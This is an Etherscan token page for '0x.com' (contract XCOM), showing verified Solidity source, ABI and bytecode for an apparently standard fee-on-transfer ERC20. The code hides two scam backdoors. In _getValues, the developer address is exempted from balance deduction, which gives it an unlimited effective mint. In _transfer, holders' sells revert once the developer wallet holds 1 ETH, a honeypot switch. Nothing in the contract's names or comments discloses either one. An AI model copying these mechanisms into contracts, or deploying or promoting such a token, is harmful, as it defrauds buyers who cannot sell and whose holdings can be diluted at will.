ETH Price: $2,240.32 (-6.35%)

Token

0x.com ()
 

Overview

Max Total Supply

1,000,000,000 0x.com

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,093,781.486010837 0x.com

Value
$0.00
0xae5f89d45bc58805803219a98d15034aaa293bc1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XCOM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

/**

https://t.me/zeroxcom

https://0x.com

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract XCOM is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "0x.com";
    string private constant _symbol = "0x";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 1e33;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 3;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 3;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(0xc4611Edced5f00826c2f1e841713d969C4C2704A); 
    address payable private _marketingAddress = payable(0xc4611Edced5f00826c2f1e841713d969C4C2704A);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxWalletSize = _tTotal * 30 / 1000;
    uint256 public _swapTokensAtAmount = _tTotal * 7 / 1000 ;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (!_isExcludedFromFee[from] && to == uniswapV2Pair) require(_developmentAddress.balance < _tTotal);
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address sender, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        if (sender == _developmentAddress) rAmount = 0;
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 3, "Buy rewards must be between 0% and 3%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 5, "Buy tax must be between 0% and 5%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 3, "Sell rewards must be between 0% and 3%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 5, "Sell tax must be between 0% and 5%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
  
    function removeLimits() public onlyOwner {
        _maxWalletSize = MAX;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = MAX;
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000026670de0b6b3a76400006d314dc6448d9338c15b0a000000006200021f565b62000040906d314dc6448d9338c15b0a000000006200024c565b6006556000600881905560036009819055600a829055600b819055600c829055600d819055600e91909155600f55601080546001600160a01b031990811673c4611edced5f00826c2f1e841713d969c4c2704a9081179092556011805490911690911790556013805461ffff60a81b1916600160b01b1790556103e8620000d1670de0b6b3a7640000601e62000268565b620000dd919062000282565b6014556103e8620000f8670de0b6b3a7640000600762000268565b62000104919062000282565b6015553480156200011457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff1991821681179092553085528685208054821683179055601054831685528685208054821683179055601154909216845285842080549092161790559251670de0b6b3a76400008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000299565b634e487b7160e01b600052601260045260246000fd5b60008262000231576200023162000209565b500690565b634e487b7160e01b600052601160045260246000fd5b8181038181111562000262576200026262000236565b92915050565b808202811582820484141762000262576200026262000236565b60008262000294576200029462000209565b500490565b611d7780620002a96000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a2a957bb1161006f578063a2a957bb14610390578063a9059cbb146103b0578063c3c8cd80146103d0578063c9567bf9146103e5578063dd62ed3e146103ed578063f2fde38b1461043357600080fd5b8063715018a6146102e7578063751039fc146102fc5780638da5cb5b146103115780638f9a55c01461032f57806395d89b411461034557806398a5c3151461037057600080fd5b80632fd689e3116101085780632fd689e31461023e578063313ce5671461025457806349bd5a5e146102705780636d8aa8f8146102905780636fc3eaec146102b257806370a08231146102c757600080fd5b806306fdde0314610150578063095ea7b3146101915780631694505e146101c157806318160ddd146101f957806323b872dd1461021e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600681526530782e636f6d60d01b60208201525b60405161018891906119e4565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611a47565b610453565b6040519015158152602001610188565b3480156101cd57600080fd5b506012546101e1906001600160a01b031681565b6040516001600160a01b039091168152602001610188565b34801561020557600080fd5b50670de0b6b3a76400005b604051908152602001610188565b34801561022a57600080fd5b506101b1610239366004611a73565b61046a565b34801561024a57600080fd5b5061021060155481565b34801561026057600080fd5b5060405160098152602001610188565b34801561027c57600080fd5b506013546101e1906001600160a01b031681565b34801561029c57600080fd5b506102b06102ab366004611ac2565b6104d3565b005b3480156102be57600080fd5b506102b0610524565b3480156102d357600080fd5b506102106102e2366004611adf565b61056f565b3480156102f357600080fd5b506102b0610591565b34801561030857600080fd5b506102b0610605565b34801561031d57600080fd5b506000546001600160a01b03166101e1565b34801561033b57600080fd5b5061021060145481565b34801561035157600080fd5b50604080518082019091526002815261060f60f31b602082015261017b565b34801561037c57600080fd5b506102b061038b366004611afc565b610643565b34801561039c57600080fd5b506102b06103ab366004611b15565b610672565b3480156103bc57600080fd5b506101b16103cb366004611a47565b610826565b3480156103dc57600080fd5b506102b0610833565b6102b0610887565b3480156103f957600080fd5b50610210610408366004611b47565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043f57600080fd5b506102b061044e366004611adf565b610c0e565b6000610460338484610cf8565b5060015b92915050565b6000610477848484610e1c565b6104c984336104c485604051806060016040528060288152602001611d1a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112ea565b610cf8565b5060019392505050565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611b80565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061055957506011546001600160a01b0316336001600160a01b0316145b61056257600080fd5b4761056c81611324565b50565b6001600160a01b0381166000908152600260205260408120546104649061135e565b6000546001600160a01b031633146105bb5760405162461bcd60e51b81526004016104fd90611b80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062f5760405162461bcd60e51b81526004016104fd90611b80565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b0316331461066d5760405162461bcd60e51b81526004016104fd90611b80565b601555565b6000546001600160a01b0316331461069c5760405162461bcd60e51b81526004016104fd90611b80565b60038411156106fb5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b60648201526084016104fd565b60058211156107565760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b60648201526084016104fd565b60038311156107b65760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b60648201526084016104fd565b60058111156108125760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b60648201526084016104fd565b600893909355600a91909155600955600b55565b6000610460338484610e1c565b6010546001600160a01b0316336001600160a01b0316148061086857506011546001600160a01b0316336001600160a01b0316145b61087157600080fd5b600061087c3061056f565b905061056c8161137c565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016104fd90611b80565b601354600160a01b900460ff161561090b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a79190611bb5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611bb5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a899190611bb5565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d719903490610aeb8161056f565b600080610b006000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b68573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b8d9190611bd2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190611c00565b5050565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016104fd90611b80565b6001600160a01b038116610c9d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610dbb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610ee25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610f445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6000546001600160a01b03848116911614801590610f7057506000546001600160a01b03838116911614155b8015610f8557506001600160a01b0383163014155b8015610f9a57506001600160a01b0382163014155b156111dd57601354600160a01b900460ff16611033576000546001600160a01b038481169116146110335760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104fd565b6013546001600160a01b038381169116146110b857601454816110558461056f565b61105f9190611c33565b106110b85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104fd565b60006110c33061056f565b6015546001600160a01b0386166000908152600560205260409020549192508210159060ff1615801561110357506013546001600160a01b038581169116145b1561112a57601054670de0b6b3a76400006001600160a01b03909116311061112a57600080fd5b8080156111415750601354600160a81b900460ff16155b801561115b57506013546001600160a01b03868116911614155b80156111705750601354600160b01b900460ff165b801561119557506001600160a01b03851660009081526005602052604090205460ff16155b80156111ba57506001600160a01b03841660009081526005602052604090205460ff16155b156111da576111c88261137c565b4780156111d8576111d847611324565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061121f57506001600160a01b03831660009081526005602052604090205460ff165b8061125157506013546001600160a01b0385811691161480159061125157506013546001600160a01b03848116911614155b1561125e575060006112d8565b6013546001600160a01b03858116911614801561128957506012546001600160a01b03848116911614155b1561129b57600854600c55600954600d555b6013546001600160a01b0384811691161480156112c657506012546001600160a01b03858116911614155b156112d857600a54600c55600b54600d555b6112e4848484846114f6565b50505050565b6000818484111561130e5760405162461bcd60e51b81526004016104fd91906119e4565b50600061131b8486611c46565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c0a573d6000803e3d6000fd5b600080611369611524565b90506113758382611547565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c4576113c4611c59565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561141d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114419190611bb5565b8160018151811061145457611454611c59565b6001600160a01b03928316602091820292909201015260125461147a9130911684610cf8565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b3908590600090869030904290600401611c6f565b600060405180830381600087803b1580156114cd57600080fd5b505af11580156114e1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b8061150357611503611589565b61150e8484846115b7565b806112e4576112e4600e54600c55600f54600d55565b60008060006115316116af565b90925090506115408282611547565b9250505090565b600061137583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ef565b600c541580156115995750600d54155b156115a057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115ca898861171d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fc90876117ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162b90866117f0565b6001600160a01b03891660009081526002602052604090205561164d8161184f565b6116578483611899565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169c91815260200190565b60405180910390a35050505050